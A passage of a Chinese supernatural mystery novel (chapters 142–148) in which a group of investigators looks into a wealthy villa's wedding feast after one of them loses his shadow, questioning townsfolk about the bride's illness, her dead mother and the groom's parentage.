以这沈老东家的年纪来推测,他最疼爱的独女,应该算是“老来得女”。
对于他这样身份的人,好不容易得来的掌上明珠要成婚,破费大肆宣扬庆祝,也算是在情理之中。
非要说出有什么不对劲,那就是太过于热情且铺张了。
任风玦并不知道夏熙墨的依据是什么,不过,对她所说的话,还是十分信得过的。
因此回房后,他直接屏退下人,也不打算卧床而眠,而是和衣靠在榻上,闭目休整。
而夏熙墨回到房间后,也没让仆人伺候,她直接让无忧出来找这山庄内是否有阴魂存在。
无忧却笃定摇头,“这一路从前庭到后院,都没有感受到鬼魂的气息啊。”
“我在宴上,看到过一抹影子。”
无忧也觉得疑惑:“如果是鬼魂,我不可能嗅不出来,而且,那道士也在。”
道士毕竟是人,在喝了酒的情况下,或许会失察。
但作为灯魂,都感受不到的情况下,那可能还真不是。
当然,夏熙墨也没想过要多管闲事,只要此处不出现枉死之魂与赋楼鬼物,她都可以置之不理。
这一夜,却是相安无事。
醒来时,晨光和煦,仆人已经备好了洗漱之物。
各自从房内出来时,都能感受到精神抖擞,状态极佳,
在老管家的安排之下,他们又去花厅内用了早膳。
任风玦是讲礼数之人,受人这般招待,若要离去,肯定得当面言谢告辞。
然而老管家却说,沈老东家一早就去陪沈小姐了,不能面见各位。
如此一来,众人只能直接告辞。
也不知是不是夜里睡得太好的缘故,余琅感觉今日的脚步特别轻快。
他第一个走到马车前,请众人上车。
只见初晨的阳光,撒在悦来山庄门前,将他们各自影子拉长,倒映在地上。
然而也是在这时,余琅却发现了不对劲之处。
所有人都有影子。
包括马车,以及旁边的树木,甚至院墙。
唯有他,脚下空空如也。
影子不见了。
看第一遍时,余琅以为是自己眼花,仔细看了又看,确认了好几次,心下徒然一惊。
这时,众人都已经上了马车,迟迟不见余琅的动静,任风玦忍不住掀开车帘,问道:“还愣着做什么?”
“大人…”
余琅转过头时,面色煞白,他指着自己的脚下,说道:“大人你快替我看看,我…的影子好像丢了。”
任风玦闻言,也朝地上
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看了看,脸色顿变,忙喊颜正初:“颜道长,你也来看看。”
众人又再次下了马车。
并在阳光底下,反复确认了好几次。
余琅的影子,真的不见了。
颜正初面色也变得凝重,他道:“虽说人影是因为有光的映照,从而形成了影子。”
“但还有另一个说法——只有鬼魂,才没有影子。”
余琅被这句话吓得有些无措:“听你这话的意思,我已经变成了鬼?”
身后,夏熙墨冷不丁防回道:“鬼魂畏惧阳光,你若是鬼魂,这会儿只怕也魂飞魄散了。”
“那这又是怎么回事?总不能是影子自己跑出去玩了?”
颜正初瞪了余琅一眼,继而正色道:“除此之外,还有一种说法,冤魂偷影,是为找替身。”
“……”
任风玦回头看了一眼身后的悦来山庄,想起夏熙墨昨晚说过的话。
“这山庄真有问题。”
余琅哭丧着脸:“我这是被冤魂缠上了?那怎么办?”
任风玦却直接转身,往山庄内走去:“自然是从哪儿丢的,就从哪儿找回来。”
重新来到山庄门前,叩门后,仆人见他们去而复返,便又喊来了老管家。
对此,老管家也十分意外,不由得问道:“诸位客人,因何去而复返?”
任风玦客气道:“方才发现丢了一样东西,故而回来找找。”
老管家惊诧:“可是丢了什么贵重之物?”
身后余琅连忙插了一句:“那可太贵重了!”
他走到阳光下,指着地上,说道:“我的影子,丢在你们山庄了。”
老管家惊愕不已:“公子怎么能开这种玩笑?什么东西都可能丢,影子怎么可能会丢?”
任风玦又问道:“悦来山庄内可曾发生过此类事件?”
老管家连忙摇头。
“那可曾,发生过什么**?”
“绝对不曾!”
正僵持间,一道声音询问道:“陈管家,可是有客到,为何不请进来?”
众人循声望去,却是昨晚有过一面之缘的沈家姑爷——秦书公子。
第143章 姑爷
秦书走到山庄门前,一眼就认出了面前这几人是昨晚留宿过府上的客人。
他二话不说,直接就吩咐陈管家,将他们重新请进山庄。
可以看得出,这秦公子作为沈家的准姑爷,虽尚未正式成婚,但地位在府上却明显不低。
连管家都对他言听计从,足见,沈老东家对他十分看重。
秦公子让众人进了山庄后,便直接屏退了下人。
夏熙墨在旁悄悄打量了一眼这秦公子,却也并未发现任何异样。
“方才我听见诸位说,在庄内丢了东西,不知是何物?”
余琅正要说话,任风玦却率先开了口:“并不是什么紧要的东西…”
余琅:“……”
“只是想问问,庄内近来可曾发生过什么怪事?”
闻言,秦公子面上似乎也有片刻的迟疑,但很快就恢复如常了。
“怪事?”
他故作惊讶:“公子说笑了,近来只有喜事,何曾会发生什么怪事呢?”
任风玦回以一笑:“是这样的…”
他直接搬出了云鹤山的名头,指着颜正初说道:“这位乃是云鹤山现任掌门的大弟子——颜正初颜道长,最是擅长捉鬼驱邪…”
“若是庄内有过此类事件发生,不妨现在直接说出来,颜道长必然有解决的方法。”
那秦公子闻言,倒是立即看了颜正初一眼,像是若有所思。
趁机,颜道长也想为云鹤山争一把名声,当即掐指算了算。
这一算,他却蹙了一下眉头,忽向秦公子问道:“秦公子原本就姓秦吗?”
此言一出,秦公子面色变了变。
那感觉像是被说中了什么秘密…
他面有愠色,当即冷哼了一声:“这位道长的话,我可听不明白…”
颜正初又算了一遍,知道对方是心虚,便故意道:“有什么不明白的?”
“我算出了秦公子自幼并非在本家长大,所以才这般推测的。”
“一派胡言。”
秦公子更怒了,“我父亲乃是开明县远近闻名的教书先生,我自幼便在开明书院里长大,县内人尽皆知。”
颜正初故作恍然大悟:“哦,原来是这样…”
但随即,他又道:“不过,本道长在算命理方面,还未出过错,奉劝一下秦公子最好还是回家问问。”
听了这话,秦公子面上更是一阵青红不定。
看得旁边的余琅与阿夏都有些想笑。
但这秦公子也是个奇人,眼见他要翻脸了,但下一秒,面色又恢复如常。
他甚至朝颜正初客气行了一礼:“多谢道长提点,此事不劳道长费心了。”
接着,他又态度坚决地向任风玦道:“这位公子,再过两日便是我秦某的大婚之日了。”
“诸位若是诚心诚意来祝贺我们,秦某自当是十分欢迎,悦来山庄内也会好生款待你们。”
“但若是借着‘祝贺’的由头,成心来找事的…”
“可就别怪悦来山庄,不讲礼数了!”
这番话说完,秦公子也不等任风玦回话,而是向门外喊道:“陈管家。”
那老管家闻言直接推门而入,且身后还站着一排护院。
看这阵势,分明是想通过“武力”来告诫众人,不可生事乱来。
余琅眯着眼睛朝外看了一眼,心想,这几个护院,还不够我打的呢。
任风玦倒是面不改色:“秦公子可千万别误会,我们来此,肯定是诚心诚意祝贺了。”
“既然庄内无事发生,那我们便暂且告辞了。”
说着,拉着还在摩拳擦掌的余琅,就往外走去。
夏熙墨倒是在原地顿了一下,但很快也就明白了任风玦的用意,向颜正初扫了一眼,跟着走了出去。
出了悦来山庄后,余琅很是委屈,他指着自己的脚下,可怜兮兮地说道:“大人该不会真不管我这‘影子兄弟’了吧?”
任风玦却看了一眼天色,说道:“现在还早。”
余琅没吱声,只是心想,晚了我还有救吗?
“我们既然知道这事与悦来山庄脱不开关系,那肯定要从悦来山庄开始查起。”
“趁着天还没黑,先去县内
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四处打听一下。”
“等天黑后,再来不迟。”
听了任风玦的话,余琅却迷惑了一下:“晚上再来喝喜酒吗?这下就算花钱请我喝,我也不喝了!”
颜正初忍俊不禁:“你的影子多半是晚上丢的,肯定得晚上来找啊。”
任风玦却望向夏熙墨,问道:“昨晚,夏姑娘是不是在庄内发现了什么异常之处?”
闻言,余琅立即向夏熙墨投去求救的目光。
后者则点了一下头:“我看见那姓秦的脚下,多了一道影子。”
“啊?!”
余琅听了果然情绪激动,“我的影子该不会去他那里了吧!”
“这人果然有问题!”
夏熙墨看了他一眼,却道:“他自己都未必知道这件事情。”
颜正初则道:“反正无论如何,这个姓秦的,肯定是有问题的,我们不妨先从他来查起!”
余琅立即望向任大人,看起来是一刻也不想耽误。
任风玦这才吩咐:“白日时间紧迫,我们可能需要分开行事。”
他先向余琅道:“余少卿你主要负责去查这个秦公子的身世,包括这开明书院的教书先生,也好好询问一番。”
余琅立即拱手:“此事放心交给我,本公子必将他查个一清二白!”
任风玦点头,又向颜正初道:“麻烦颜道长想办法问问,这些日子前往山庄赴过喜宴的人,可曾发生过此类怪事?”
颜正初也立即应了。
“至于夏姑娘…”
任风玦知道她向来特立独行,不一定愿意与他们共事,于是试探着向夏熙墨问道:“夏姑娘若是愿意的话,可与我同路。”
“我们一起…查查悦来山庄。”
闻言,众人的目光都不由自主看向了夏熙墨。
片刻后,只听她淡应了一声。
“嗯。”
一旁的阿夏直觉自己似乎被遗忘了,正要出声,任风玦却立即转头望向他,“你不必跟着。”
“……”
“你还是个伤患,就在马车上休息。”
“…是。”
第144章 茶楼
马车离开悦来山庄后,众人随即兵分三路,开始分头行事。
隅中时分,任风玦却领着夏熙墨来到了一座茶楼前。
堂中人不多,只有几个老先生正在喝茶闲谈,伙计也颇为得闲。
见有客在门前,小二立即跑出来询问:“小郎君和小娘子要进来坐坐吗?”
任风玦朝内扫了一眼,见这伙计热情且还有眼力,便点了点头:“两位。”
在堂内落了座后,任风玦让小二沏了一壶开明县的名茶,上了两份店内招牌的茶点。
付了茶点钱之后,他又另递了两块碎银过去。
“小哥若不忙的话,向你打听点事。”
伙计见这男客气宇轩昂,出手竟还这般阔绰,眼睛顿时都亮了。
“客官想问什么?必然知无不言言无不尽啊!”
任风玦看着他将碎银收入怀中,这才说道:“我初来此地,就听说了这悦来山庄的事,心里好奇得很,就想找个知情人问问。”
伙计略一思忖,立即说道:“这山庄的主人家姓沈,在咱们开明县那绝对是数一数二的大户人家。”
“客官您好奇的应该是沈小姐的亲事吧?”
任风玦点头:“听说这老东家要在山庄内设宴十日,不收贺礼,且还为外来客安排住所?”
“正是。”
伙计道:“因为沈老东家就只有这么一个独女,自然十分看重,而且啊,其中还有一层原因…”
毕竟收了钱,多少得透露一些别处听不到的。
他左右看了一眼,忽然压低声音道:“前些日子有茶客在传,说这沈小姐不知何时染上了怪病,久不见好,因此有人传言,是沈老东家爱女心切,想要大肆操办婚事,借此来冲喜呢。”
“怪病?”
一边静静旁听的夏熙墨忽然开了口,并抓住重点:“什么怪病需要冲喜?”
伙计迟疑了一下,似乎有些不太敢说。
任风玦见状,当即又塞了两块碎银给他,“知道多少,都细细说来。”
见此,伙计哪还敢隐瞒,他倾近身子,朝着二人又靠近了一些,这才小声道:“我也只是听说,不能保真,但也肯定是**不离十了。”
“起因啊,与过世多年的沈夫人有些关系。”
“这沈夫人一直身体不好,当初怀沈小姐之前,看过不少名医,也吃过不少药,费了好些力气,才才怀上呢。”
“但因为底子太差,生下沈小姐后,就一命呜呼了!您可知道,那时的沈老东家已经是近四旬的年纪了。”
“而这沈小姐呢,又是在不足月的情况下出生的孩子,多少有些先天不足,身子底更差,从小就各种病症不断…”
“这可算是好不容易才长到出嫁的年纪,却又得了一场怪病,说是…不认人,在庄内如同中了邪一般疯闹,还将沈夫人的灵位给摔了!”
说到这里时,小二又停顿了一下,小心翼翼四下看了一眼,生怕自己这番话让有心之人听了去。
但见无人注意到自己,他才稍微松了口气,继续道:“不过说来,这老东家也实在可怜,开明县内人人皆知他爱妻心切,好不容易得来一个女儿,夫人却去了,他将女儿视为命根子,怎料女儿又是这样…”
“所以啊,镇上才会传,这桩婚事是为了给沈小姐冲喜呢。”
任风玦听到这里,与夏熙墨相视了一眼,这才继续问道:“我对这悦来山庄的姑爷倒是挺好奇的,他究竟有什么过人之处,能让沈老东家如此信任将自己的独生爱女嫁给他?”
伙计几乎不假思索:“因为这位秦书公子,是开明书院教书先生秦谦的儿子呀。”
他指向窗外不远处的一座拱桥,又道:“二位瞧见那座桥了吗?桥过去就是开明书院了。”
“二位有所不知,这秦先生可是县内远近闻名的好好先生,他办学堂那么多年,从来不收穷苦孩子家的脩金,十分受人敬重!”
“据说,沈老东家欣赏他的品性,得知此事后,当即为开明书院捐赠书籍,甚至还出钱修缮学堂。”
“他敬重秦先生,自然也就十分看重秦公子,收他为悦来山庄的姑爷,这事还真是在意料之中。”
听完伙计分
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析一通,任风玦却沉默了一下。
这样来看,确实一切都在情理之中。
所以,悦来山庄内最大的疑点,应该就出在沈小姐身上了。
她是否真的得了什么怪病?
夏熙墨忽然开口问道:“病重的沈小姐可愿意嫁给他?”
闻言,伙计倒尴尬了一下,他笑道:“这婚姻都是父母之命,媒妁之言,沈小姐的意愿嘛,那就不知了。”
“不过这秦书公子容颜俊美,一表人才,也就家境稍微贫寒了一些,但沈家家境殷实,想必并不会在乎这些…”
此话一出,一旁喝茶的老先生却忽然轻嗤了一声。
“沈家家境殷实个屁?当年沈隶那小子来开明时,穷得饭都吃不上。”
闻言,任风玦不由得向那老先生看了一眼。
见他一头白发,满脸皱纹,看起来,年纪比那沈老东家还长一些,但眼神明亮,吐字清晰。
他说着,又向旁边两位老先生道:“你们都还记得当年的情形吧?”
另外两位老者的精神面貌,显然不及他,也不知是不是耳朵不灵光,没听清,还是装作没听明白。
对视一眼后,均摇头不语。
老先生也很是性格,见同伴不理,自讨了个没趣,便默默喝了一口茶,接着扔了几个铜板,就拄着手杖,起身向外走去。
任风玦见状,不由自主执起夏熙墨的手,便跟着出了茶楼。
“老先生且留步。”
随他一声唤,拄着拐杖的老者立即停步转过身来,瞪着眼睛扫了二人一眼。
任风玦立即道:“方才在茶楼里,听您提及悦来山庄的沈老东家,沈隶可是他的名字?”
老者皱了一下眉头:“问这个做什么?”
“是这样的…”
任风玦立即解释:“自进开明县后,都在听人提及沈老东家,对于这样的人物,晚辈心中倾佩得紧,所以想要多了解一下。”
老者却面露鄙夷之色:“他小子能有今天,靠的又不是自己,有什么好钦佩的?”
听了这话,任风玦就知道,自己找对人了。
第145章 书院
“你找谁?”
一道声音突然从背后传来。
余琅回头,只见一间篱笆小院门前,站着一个女人,正在打量着自己。
他迟疑着道:“我找秦先生…”
女人转着眼珠子,笑眯眯说道:“找秦先生啊?”
“我看你年纪轻轻,难道也有孩子要送进学堂读书不成?”
余琅连忙摇头:“不是,我只是听说这里有一间学院,教书先生姓秦,所以特意来看看。”
女人半倚靠在门边,不知从哪儿掏来一把瓜子,边磕边道:“秦先生今日出去了,不在学堂,你要是找他有事,明日再来吧。”
“这般不巧?”
余琅看了一眼挂着“开明书院”牌匾的院子,问道:“今日学堂没课?”
“没有。”
女人懒洋洋说道:“一月当中,初一十**开课,今日刚好是十五。”
“是吗?”
余琅大致算了一下日子,确实已是冬月十五。
但他也不想白跑一趟,转头向女人问道:“这位姐姐跟秦先生可熟?”
这声姐姐叫得很是受用。
女子当即娇媚一笑,语气也柔和了许多:“当然熟,都做了十几年邻居了,能不熟吗?”
余琅又问:“那姐姐如何称呼?”
“喊我红俏便是了。”
余琅当即作揖:“红俏姐姐好。”
红俏又睃了一眼,见他长得眉清目秀,似乎也很喜欢,倒主动说道:“小郎君嘴巴这么甜,要不要进来喝杯茶啊?”
“好啊,有劳姐姐了。”
余琅说着,就直接往院子内走去。
而在进门的那刻,他眼角的余光里,分明看见不远处有人站在路口处朝这边张望。
他略一迟疑,还是举步进了院子。
红俏的住所,算是与开明书院毗邻。
余琅进去后,目光掠去一眼,并没有发现男主人的影子,心下推测,这红俏大概是独居。
所以…那些在路口张望的人多半是在看热闹。
果不其然,红俏泡了茶出来,走到院内故意用力关上院门。
随后叹道:“我男人前两年**,如今只有我一个人住。”
“路口那些人,成天一双眼睛盯着我,舌根子都要嚼烂了。”
她话虽这么说,面上却没有一点愁苦的样子,一双眼睛继续在余琅身上打量着,又道;“我瞧小郎君还年轻,应该还没有成家吧?”
余琅心里可生怕对方看上了自己。
但为了问话,他面上可不敢露出一点不耐烦。
“还没呢,这些年实在太忙,又一个人自在惯了,也没想过这些事。”
“不过红俏姐姐这般年轻,又生得如此漂亮,为何不再找一个?”
红俏听了他的话,果然开心,嘴角露出笑意。
她将茶杯递给余琅,故意拉扯了一下,逗了逗他,忽又开门见山地问:“说吧,来找秦先生究竟所为何事?我倒是可以帮帮你。”
余琅面不改色接过茶杯,回道:“我是听说,这位秦先生的教书本事远近闻名呢,我叔叔家倒是有一位弟弟,调皮得很,所以想来问问,看看书院能不能收了…”
红俏却道:“我瞧小郎君气质不凡,出身也必然不低吧?”
“既是有钱人家,选择应该也多。”
“这位秦先生虽然博学,但性子固执,待学生也十分严格,你家那位弟弟,未免能受得了。”
余琅继续道:“听来,红俏姐姐对这位秦先生品性很是了解?”
“这秦先生是不是有个儿子,要给悦来山庄做姑爷?”
“既是如此,他日后是不是就不会再做教书先生了?”
红俏却道;“那倒未必…”
“我看秦先生,可并不希望自己的儿子去沈家做什么姑爷。”
余琅立即抓住重点:“为何?悦来山庄不是开明县首屈一指的富贵人家吗?”
“正是如此啊…”
红俏倒是一五一十与他分析了起来:“你想秦先生这样的文人,一身傲骨,向来重视名声,又怎么愿意让儿子去做赘婿呢?”
余琅倒也赞同:“这么说来,是那秦家公子自愿的?”
红俏又是一笑:“秦先生这个儿子,跟他可是一点也不像,依我来看,哪里有半点亲生的样子?”
余琅心下微微一惊。
暗忖,难道秦书真不是姓“秦”?
红俏说完这话,似乎意识到自己失言,连忙改口:“不过话说回来,你家弟弟若真想跟着秦先生读书,不妨送来试试。”
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>“秦先生别的不说,教书育人,还是在行。”
余琅敷衍着点了一下头,却问:“秦先生今日可是出了远门?大抵什么时候能回来?”
红俏话里藏着几分深意:“他啊,初一十五,雷打不动地去乡下送东西,也说不准什么时候会回来。”
余琅疑倒:“乡下住了秦先生什么人?”
闻言,红俏却停顿了一下,没有立即回话。
而是反问他:“小郎君对秦先生还真是好奇得紧,连这个都要细问?”
余琅一笑,也是见好就收。
“顺口一问而已,红俏姐姐不方便答的话,我也就不问了。”
听他这么说,红俏反而越是想透露一些什么。
她凑到余琅面前,小声道:“其实告诉你也无妨,乡下住着秦书的母亲…”
余琅注意到了她的用词。
是秦书的母亲。
而不是秦先生的妻子。
他连忙道:“秦书的母亲,难道不是秦先生的夫人?”
此言一出,红俏面上神情有些微妙。
她轻轻拍了一下余琅的肩膀,又凑近了一些,声音更是压低了几分;“这话可不是我说的话哦。”
“只是秦书的母亲,身份不明,她是秦先生收留在家的异乡女子,谁也不知道,她究竟从何而来…”
“而且,她与秦先生成婚不到半年,就生下了秦书,因此很多人都怀疑。”
“秦书根本就不是秦先生的亲生儿子。”
余琅心跳都跟着加快,忍不住问:“那秦书的母亲又为何会住在乡下呢?”
红俏冷冷一笑:“还不是因为,她受不了这些流言蜚语,才躲到乡下去的。”
“依我看啊,这分明就是心虚。”
“你看我,外面那么多人说呢,我怕什么?他们越说,我还越高兴呢。”
她说着,还朝余琅抛了一个媚眼。
余琅立即看了一眼院门外,竟发现门前不知何时竟立了好几道看热闹的身影,正在七嘴八舌说着什么。
他顿时有种什么都没做,就已经身败名裂的感觉…
于是连忙向红俏告辞,立即夺门而出。
然而,才走到拱桥边,便看见一道身影迎面而来,他下意识一顿,问道:“可是…秦先生?”
第146章 驱邪
颜正初在开明县最热闹的街道旁支了一个小摊。
幡子上书写着——捉鬼驱邪赠灵符。
然而,往来经过的人,大多都将他当作神棍,扫了一眼后,便离开了。
颜正初也不慌,摆摊之前,他就算过,一会儿肯定“有生意”。
然而,等了将近两个时辰,等得口干舌燥,竟都没有人停留驻足。
可就在他怀疑是不是今日“卦象失灵”时,总算有人停了下来。
是一个中年男人,看起来一脸愁苦。
“道长…”
颜正初不等他开口,直接问道:“阁下近日可曾去过悦来山庄?”
此言一出,那中年男人立即吃了一惊。
他情绪激动:“道长是如何得知的?”
颜道长微微一笑,故作高深:“只需要掐指一算。”
男人道:“我家女儿,五日前与我一同去了一趟悦来山庄参加喜宴,吃完席回来,她就病了。”
“已经请了大夫,吃过药了,但是一直陷入昏迷之中…”
“她还一直跟我说,有影子跟着她。”
“影子?”
颜正初当即收了摊,直言道:“现在带我去看看…”
去往男人家中的路上,男人将这五日来的情形大致与颜正初说了一遍。
男人姓詹,是开明县有名的铁匠,人称詹五郎。
五日前,还是他女儿小朵从开明学院回来说,秦先生家的公子要与悦来山庄的小姐结亲。
沈老东家一高兴,要设宴十日,宴请全县人,且还不收礼金。
小朵听后,便央着要父亲带自己去吃宴席。
于是,那天傍晚,小朵下学堂后,詹五郎就带着女儿去了。
而事实也如传言说的那般,沈家不收礼金,只需要说几句贺词,就能进去尽情吃喝。
詹五郎高兴坏了,看见满桌的珍馐美酒,见都没见过,更是惊叹自己这趟没白来。
“那喜宴上的酒,实在香醇,我不免多喝了两杯…”
说到这里时,詹五郎面露懊悔之意,“当时,小朵吃得差不多了,便要下桌玩,我叮嘱了她两句,就让她去了…”
喝酒兴起的男人,与桌上人夸夸其谈,又哪里顾得上小孩?
待猛然反应过来时,宴席之间,已不见了小朵的身影。
詹五郎吓得赶紧询问庄内下人,最后还是惊动了老管家,带着他一起去庄内寻找。
要知道,悦来山庄占地广阔,大大小小的院子,至少有几十间。
这一路找来,詹五郎后背冷汗不止,酒也慢慢醒了。
颜正初听到这里忍不住问:“那最终是怎么找到的?”
詹五郎显得有些难为情,“是在…沈小姐居住的院子找到的。”
“啊?小朵怎么跑内苑去了?”
那山庄颜正初毕竟去过一次,还住了一晚,虽未知全貌,却也能估算到,从前庭到内苑的距离。
一个五六岁的小女孩,在无人带路的情况下,如何能跑那么远?
詹五郎又叹了口气说道:“小朵说,是一道影子带着她过去的…”
“又是影子?”
颜正初皱了一下眉头,直觉这事还真是不太简单。
他又问:“你们找到小朵时,她在做什么?”
詹五郎迟疑了一下才道:“她…在沈小姐的房门前。”
“那你见到沈小姐了吗?”
詹五郎连忙摆手,“那当然没有,当时…”
他似乎想说些什么,却及时住口了。
颜正初见他神态有异,语气中还带着迟疑,甚至还有几分疑惑。
“当时什么?”
詹五郎明显心虚:“没什么…”
“真没什么?”颜正初步子一顿,故意停下来看着他,“你若是有所隐瞒,本道长可没有把握能帮到你。”
闻言,詹五郎果然怕了。
他四下看了看,犹豫了一下才道:“当时我看到,沈小姐的院子内有些奇怪…”
“此话怎讲?”
“虽说庄内在办喜事,但沈小姐居住的院子内,却不见一丝喜色,甚至连房门上都上着一把大锁。”
不像是待嫁的新娘。
反而像是被锁了起来。
颜正初心底也跟着起疑,接着又问:“你确定,沈小姐在里面吗?”
詹五郎笃定点头,“因为我听到沈小姐在里面喊叫
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…”
“你又是如何确定是沈小姐在喊叫?”
“是老管家说的。”
颜正初点了一下头,又问:“那她喊着什么?”
“她当时喊得有些含糊不清,大致意思是,她不吃药…”
颜正初又问:“可知晓沈小姐生了什么病?”
詹五郎摇了摇头,才回道:“我只知道这沈小姐自幼身体便不好,常常生病,至于这次生的什么病,还真无从得知。”
话说到这里时,詹五郎的家也到了。
推开院门后,颜正初只觉得一股淡淡的阴气萦绕,却没有煞气。
他拿出罗盘四下看了看,不见异样,这才来到床边,查看小朵的情况。
詹五郎紧张立在一旁,见颜正初只是用手捏了一个法诀,印在女儿额前。
片刻后,女儿猛然睁开了眼睛,一缕黑气从中溢出。
颜正初拈起一枚铜钱,朝着黑气打了过去。
接着,铜钱落地,小朵突然大哭着醒来。
“小朵!爹爹在呢!”
詹五郎见女儿醒了,心下又惊又喜,忙问颜正初:“道长,我女儿是不是没事了?”
颜正初回道:“她只是撞到邪祟,驱驱邪气就好了。”
说着,他在小朵跟前蹲了下来,并温声问她:“小朵,那日在山庄吃酒席时,你可看到了什么?”
民间有说法,几岁的小孩在“天眼”未闭之前,极其容易通阴阳。
或许,这小朵当日是看到了什么…
小朵在父亲怀中趴了一小会,才慢慢止住哭声。
面对这位年轻道长问话,她还是怯生生地如实说道:“我看见…一道影子一直跟着我。”
“它还邀请我,去山庄玩呢…”
颜正初连忙又问:“它和你说话了?”
小朵点了点头,又道:“它说它也有一个女儿,又说要带我去见她,然后…然后爹爹就找来了。”
颜正初皱起眉头,前后一联想,沉默片刻,却向詹五郎问道:“沈家小姐的母亲,何在?”
詹五郎几乎不假思索,便回道:“沈家夫人早在十几年前,沈小姐出生之际,就已经过世了。”
第147章 找事
黄昏之际。
一辆宽阔的四驾马车,再次停在了悦来山庄门前。
立在山庄门前迎客的陈管家,一眼就认出了这帮“不速之客”,顿时有些头疼。
“恭喜啊恭喜。”
余琅依然第一个跳下马车。
但较之昨日主动上前迎客的热情场面,今日的陈管家,简直可以用面若冰霜来形容。
只听他低哼一声,说道:“诸位怎么又来了?难不成是觉得占一回便宜不够,想在我山庄赖着不走了?”
“你说得对!”
听着如此刻薄的话语,余琅非但不生气,甚至还笑嘻嘻辩驳道:“反正你们老东家承诺了要宴请十日,来者不拒,也没说不让人多吃一顿,多住一晚吧?”
“贵府是开明县的大户人家,何至于这般小气?”
余少卿一边应付着,一边拿起笔,在那填漆托盘内,写下了四个字。
陈管家面色忽青忽白,一时无言,而余下三人则相继提笔,各自写了几个字,便大剌剌往庄内走去。
这时,宴席已相继坐满了人,陈管家虽然不高兴,也不想在这么多人面前再生事端。
当即喊来一个仆人吩咐:“盯紧他们几个,别让他们在庄内乱跑。”
“是。”
几人踏入庄门后,好巧不巧,还是选了昨日那张桌子坐下。
但这次,面对一桌佳肴,谁也没有下筷。
唯有夏熙墨,自顾自端起桌上的酒,倒了一杯后,又自顾自饮下了。
余琅偷偷咽口水,虽然想喝,但想想昨晚的遭遇,后背还有些发凉。
他只低声问颜正初:“道长,你说这庄内没有恶鬼,那我的影子,是自己跑的吗?”
关于这个问题,颜正初还真不能确定。
只能通过詹家女儿小朵的经历可以推测出,“影子”应该与已故的沈家夫人有关。
但沈夫人逝世十几年,就算魂魄滞留人间,也早成了游魂,对活人基本构不成威胁与伤害。
可她若是因为含冤而死,成了怨灵,那此处也应该是怨气冲天才对。
“这庄内确实有蹊跷,但我并不能确定,詹五郎女儿所看见的影子,与你这件事,是否有关联。”
余琅费解挠头,又低头看了一眼地上,只得叹了口气。
颜正初劝慰道:“放心好了,既然此地没有恶鬼,那一切就好办了,找回你的影子,还不是迟早的事情。”
听了颜道长的话,余琅面上勉强露出一抹笑意。
这时,只见那沈老东家又领着女婿秦书出来敬酒了。
余琅眯了一下眼睛,用手指敲了敲桌面。
“人来了,要准备做正事了。”
沈老东家依然一脸和气,但走到众人桌前时,却明显愣了一下。
“诸位…”
任风玦慢慢站起身来,谦和有礼地朝那沈老东家行了一礼:“老东家。”
沈老东家对他印象很深刻,立即认出了他,“老夫就说怎么如此眼熟呢,原来昨晚见过…”
任风玦微微一笑:“昨夜叨扰了,原本还想今早当面向老东家告辞的,但管家告知,老东家忙着陪沈小姐,所以也就不便叨扰了。”
沈老东家笑得一团和气,“我这女儿十分娇纵,早膳都得陪同着一起才行,也是无奈,分不开身。”
“不过,你们愿意留在庄内小住,老夫还是十分欢迎的。”
一般,主人家寒暄到这里,宾客也该举杯共饮了。
但座上四人,竟无一人举杯,氛围徒然变得有些古怪。
跟在沈老东家身后的秦书,忽然低咳了一声,主动端杯上前,“感谢诸位今晚愿意再来喝秦某的喜宴,请了…”
任风玦却仿佛没有看见他一样,继续向老东家问道:“听说沈小姐病了。”
此言一出,老东家和秦书的神情都变了。
沈老东家先是回头看了秦书一眼,眼底似乎有质问之意,随后,面上仍保留着三分笑意,向任风玦说道:“公子这话,是从哪儿听来的?”
任风玦回了两个字:“坊间。”
“小女确实一直以来都身体不好,前两日还染上了风寒,不过看过大夫也吃过药,已经好了。”
他又凝眸望向任风玦,话语之中更是别有深意:“老夫看公子谈吐不凡,是见
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过大世面的人,应该知晓,坊间之言,真假难辨,实在不可全信。”
任风玦面上笑意不减,继而道:“主要是,传言可不单单是关于沈小姐的…”
“还有沈夫人,以及这位秦公子。”
沈夫人三个字说出来时,沈老东家拿酒杯的手,明显抖了抖。
秦书下意识扶了他一把,知道不能任由这帮人继续胡乱搅合,随即招呼护院:“来人!”
由于他声音颇大,其他桌上宾客,皆不由自主看了过来。
七八名护院入内,直接将任风玦这一桌统统包围了起来。
余琅知道时机到了,故意大声喊:“怎么?反应这么大,怕我们当众戳破你们的丑事吗?”
秦书面色铁青,却也找了一个合适的理由。
“沈夫人逝世十几年,一直是老东家心头痛事,不愿他人提及。”
“你们初到开明县,我们把你们当客人,好吃好喝好住的招待,你们不领情也就算了,还要存心捣乱!”
“既然如此,我们又为何要对你们客气?”
“来人啊,直接抓起来,轰出去!”
护院顿时一拥而上。
余琅憋屈了半天,就等着这一刻,他直接一脚踢翻了桌子,并大声道:“你还没娶上沈家小姐呢,就真把自己当成悦来山庄的主人了!”
人群之外的秦书气得咬牙切齿:“给我抓住他!”
趁着场面混乱,宾客们生怕殃及池鱼,纷纷开始后撤。
颜正初与夏熙墨相视一眼,趁着余琅与人打斗,悄悄退出人群,往内苑而去。
“我去找沈夫人的魂魄,你去找沈小姐。”
“嗯。”
两人在一道角门分开,颜正初拈起一枚铜钱抛入罗盘,口中念着法咒,只见铜钱抖动,落在盘中的一个方位。
他根据山庄朝向,辨认出实际方位,当即快步赶了过去。
夏熙墨却没有那么麻烦,她迎面拦住一个仆人,冷冷开口道:“带我去沈小姐的院子。”
仆人微吃一惊,还未来得及拒绝,浑身上下却被一股诡异的力量所牵制,吓得他只能讷讷点头。
第148章 赘婿
夜色笼罩着整个悦来山庄。
按理说,喜宴之下,应该是觥筹交错,起座喧嚣,宾客一片欢声笑语才对。
然而,随着余琅踢翻桌子,与七八名护院打斗起来后,一切都乱套了。
秦书也是万分诧异,这小子的身手居然那么好,七八人出手竟都奈何不了他?
他低声向沈老东家问道:“要不要请衙门里的人来一趟?”
此时的沈老东家,面色也阴沉得可怕,他微微摇头:“暂时不用。”
继而吩咐:“让宾客们全都散了。”
秦书应了,立即招呼仆人去疏散宾客。
这边,余琅还打得难分难舍,眼角余光瞥见人都走了,当即又大喊一声:“喂,你们不想知道这悦来山庄的丑事吗?跑那么快做什么?”
有些宾客听见他这句话,倒是顿了一下足。
可到底更害怕得罪沈家,灰溜溜便逃了。
转眼间,十几桌客人都走空了。
老管家甚至立即关上了山庄大门,并招呼所有护院与仆人,去往前庭帮手。
因此,余琅原本只需要应付七八人,转眼竟又多了七八个。
